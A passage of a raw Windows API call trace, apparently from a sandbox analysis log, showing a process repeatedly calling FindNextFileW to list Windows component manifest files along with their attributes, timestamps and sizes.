nFileSizeHigh=0x0, nFileSizeLow=0x8c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..omebasicn.resources_31bf3856ad364e35_6.1.7600.16385_en-us_77f885dc30a2b58b.manifest", cAlternateFileName="AM2203~1.MAN")) returned 1 [0187.002] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6da7f8, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfdf805e2, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfd6da7f8, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..ostic-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_22d5fa3332fe3241.manifest", cAlternateFileName="AMD37B~1.MAN")) returned 1 [0187.002] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6b453f, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfdf805e2, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfd6b453f, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x9cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..overy-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6c3db80d16c2d96b.manifest", cAlternateFileName="AM92C0~2.MAN")) returned 1 [0187.002] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefaa129b, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xefaa129b, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xefaa129b, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x25a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..oyment-languagepack_31bf3856ad364e35_6.1.7600.16385_en-us_813f7817a97168e6.manifest", cAlternateFileName="AMFD92~1.MAN")) returned 1 [0187.002] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0367e3a, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x7dd38f2e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xc038df97, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xb0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..pologydiscovery-adm_31bf3856ad364e35_6.1.7600.16385_none_e774dcd7484c8452.manifest", cAlternateFileName="AM3F61~1.MAN")) returned 1 [0187.003] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1bfb680, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19b311a8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x50158956, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..se-default-startere_31bf3856ad364e35_6.1.7600.16385_none_b6c8cc3824e94af9.manifest", cAlternateFileName="AM752E~1.MAN")) returned 1 [0187.003] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eb77b46, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x19b311a8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x5017eab3, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..se-default-startern_31bf3856ad364e35_6.1.7600.16385_none_b6677cec25324672.manifest", cAlternateFileName="AM9404~1.MAN")) returned 1 [0187.003] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe4d365, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19b7d640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x5017eab3, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x42a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..se-default-ultimate_31bf3856ad364e35_6.1.7600.16385_none_f1a1c1ec7cb58870.manifest", cAlternateFileName="AMC64E~1.MAN")) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x685e647, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19b7d640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x579b383b, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..se-eval-enterprisee_31bf3856ad364e35_6.1.7600.16385_none_3e65560ca3c6db98.manifest", cAlternateFileName="AMBC89~1.MAN")) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x481592c6, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19ba388c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x579b383b, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x42a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..se-eval-enterprisen_31bf3856ad364e35_6.1.7600.16385_none_3e0406c0a40fd711.manifest", cAlternateFileName="AM5E2B~1.MAN")) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x640b3629, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19ba388c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x579ffaf5, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x42a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..se-eval-homepremium_31bf3856ad364e35_6.1.7600.16385_none_1c6b4a2cc3077626.manifest", cAlternateFileName="AMB43C~1.MAN")) returned 1 [0187.004] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22152f0b, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19ba388c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e3107a4, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x42a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..se-oem-homepremiume_31bf3856ad364e35_6.1.7600.16385_none_e69ada36a88cdb8e.manifest", cAlternateFileName="AMD5C2~1.MAN")) returned 1 [0187.005] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd76b2be5, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19ba388c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e336901, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x42a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..se-oem-homepremiumn_31bf3856ad364e35_6.1.7600.16385_none_e6398aeaa8d5d707.manifest", cAlternateFileName="AM5C44~1.MAN")) returned 1 [0187.005] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bcbdcee, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19b7d640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6e336901, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x42a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..se-oem-professional_31bf3856ad364e35_6.1.7600.16385_none_c626781a8d1cab0c.manifest", cAlternateFileName="AM9144~1.MAN")) returned 1 [0187.005] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8bfb7d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x10d58708, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf92fa131, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x26d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..securityhelperclass_31bf3856ad364e35_6.1.7600.16385_none_e20dd69e928c491a.manifest", cAlternateFileName="AM2408~1.MAN")) returned 1 [0187.005] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f6966d, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf35d2b80, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf2f6966d, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..store-mof.resources_31bf3856ad364e35_6.1.7601.17514_en-us_e2c5b35853d30119.manifest", cAlternateFileName="AMF3F9~1.MAN")) returned 1 [0187.006] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92dce70, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf92dce70, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..t-starter.resources_31bf3856ad364e35_6.1.7601.17514_en-us_0e5440dd5cd4ab31.manifest", cAlternateFileName="AMBAEA~1.MAN")) returned 1 [0187.006] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa1c5eb4, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa1c5eb4, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..terprisee.resources_31bf3856ad364e35_6.1.7601.17514_en-us_1051f5dad299e574.manifest", cAlternateFileName="AMBA69~1.MAN")) returned 1 [0187.006] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa1c5eb4, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa1c5eb4, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..terprisee.resources_31bf3856ad364e35_6.1.7601.17514_en-us_36242a66d0a3fac8.manifest", cAlternateFileName="AMD7D9~1.MAN")) returned 1 [0187.006] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93293e2, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf93293e2, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..terprisee.resources_31bf3856ad364e35_6.1.7601.17514_en-us_b4e211957dcdb16b.manifest", cAlternateFileName="AMDD10~1.MAN")) returned 1 [0187.007] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa19fbfb, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa19fbfb, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..terprisen.resources_31bf3856ad364e35_6.1.7601.17514_en-us_63cc1fc1c4366aaa.manifest", cAlternateFileName="AM75D9~1.MAN")) returned 1 [0187.007] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92dce70, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf92dce70, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..terprisen.resources_31bf3856ad364e35_6.1.7601.17514_en-us_76e8e8ca58eb623d.manifest", cAlternateFileName="AM4A04~1.MAN")) returned 1 [0187.007] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92dce70, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf92dce70, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..terprisen.resources_31bf3856ad364e35_6.1.7601.17514_en-us_9cbb1d5656f57791.manifest", cAlternateFileName="AMFF17~1.MAN")) returned 1 [0187.007] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa1c5eb4, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa1c5eb4, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..ultimatee.resources_31bf3856ad364e35_6.1.7600.16385_en-us_bcb02776d55fe25d.manifest", cAlternateFileName="AM40B8~1.MAN")) returned 1 [0187.008] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa1c5eb4, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa1c5eb4, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..ultimatee.resources_31bf3856ad364e35_6.1.7601.17514_en-us_4c620d6fda21d3a4.manifest", cAlternateFileName="AM879E~1.MAN")) returned 1 [0187.008] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa179942, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa179942, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..ultimatee.resources_31bf3856ad364e35_6.1.7601.17514_en-us_d9d78445b4dc9f7e.manifest", cAlternateFileName="AMF96F~1.MAN")) returned 1 [0187.008] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa12d3d0, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa12d3d0, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..ultimaten.resources_31bf3856ad364e35_6.1.7600.16385_en-us_902d79129708aeec.manifest", cAlternateFileName="AM6F45~1.MAN")) returned 1 [0187.008] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf921e0d3, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf921e0d3, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..ultimaten.resources_31bf3856ad364e35_6.1.7601.17514_en-us_604bc8140b32a29d.manifest", cAlternateFileName="AM2331~1.MAN")) returned 1 [0187.009] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa1ec16d, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa1ec16d, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..ultimaten.resources_31bf3856ad364e35_6.1.7601.17514_en-us_edc13ee9e5ed6e77.manifest", cAlternateFileName="AME8BE~1.MAN")) returned 1 [0187.009] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x820f83ea, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xef8bba8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x91f8858c, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xb2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l..zeddriversinstaller_31bf3856ad364e35_6.1.7600.16385_none_6e380570805ed6e5.manifest", cAlternateFileName="AMC909~1.MAN")) returned 1 [0187.009] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8020c1cf, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x8020c1cf, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x8023232f, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x8d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l2gpstore-mof_31bf3856ad364e35_6.1.7601.17514_none_9dddd1742fd9e98c.manifest", cAlternateFileName="AM0D7E~1.MAN")) returned 1 [0187.009] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a78dcf1, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x6a78dcf1, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x6a7b3e51, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x6d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l2gpstore_31bf3856ad364e35_6.1.7601.17514_none_d804ba06f1184c9d.manifest", cAlternateFileName="AM8C9C~2.MAN")) returned 1 [0187.010] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa212426, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa212426, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xa86, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l2na.resources_31bf3856ad364e35_6.1.7600.16385_en-us_02400361f1f28e95.manifest", cAlternateFileName="AM5783~1.MAN")) returned 1 [0187.010] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f25bcba, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x192407d8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4f281e17, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x311d, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-l2na_31bf3856ad364e35_6.1.7600.16385_none_06b8d26833bdff50.manifest", cAlternateFileName="AM1141~1.MAN")) returned 1 [0187.010] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c7c958, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf5273640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf4c7c958, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-label.resources_31bf3856ad364e35_6.1.7600.16385_en-us_42bcad17bddd3828.manifest", cAlternateFileName="AM7652~1.MAN")) returned 1 [0187.010] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ae0104e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x14abb958, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xb5fb8589, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x9ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-label_31bf3856ad364e35_6.1.7600.16385_none_b323fd6ee3f98653.manifest", cAlternateFileName="AM4563~1.MAN")) returned 1 [0187.011] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69625bf1, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x69625bf1, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x696e42d2, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1d32, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-language-resources_31bf3856ad364e35_7.0.7601.17514_none_345ef3ad40246377.manifest", cAlternateFileName="AM55E9~1.MAN")) returned 1 [0187.011] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f141e2b, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x7dc54094, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x5f167f88, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xad5, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lanmanserver-adm_31bf3856ad364e35_6.1.7600.16385_none_596faacb0e799514.manifest", cAlternateFileName="AMCB52~1.MAN")) returned 1 [0187.011] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c26cb6, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x89c26cb6, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xf9b36e50, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xbbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-lcphrase-tbl_31bf3856ad364e35_6.1.7600.16385_none_308365e956246926.manifest", cAlternateFileName="AM71D0~1.MAN")) returned 1 [0187.011] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c26cb6, 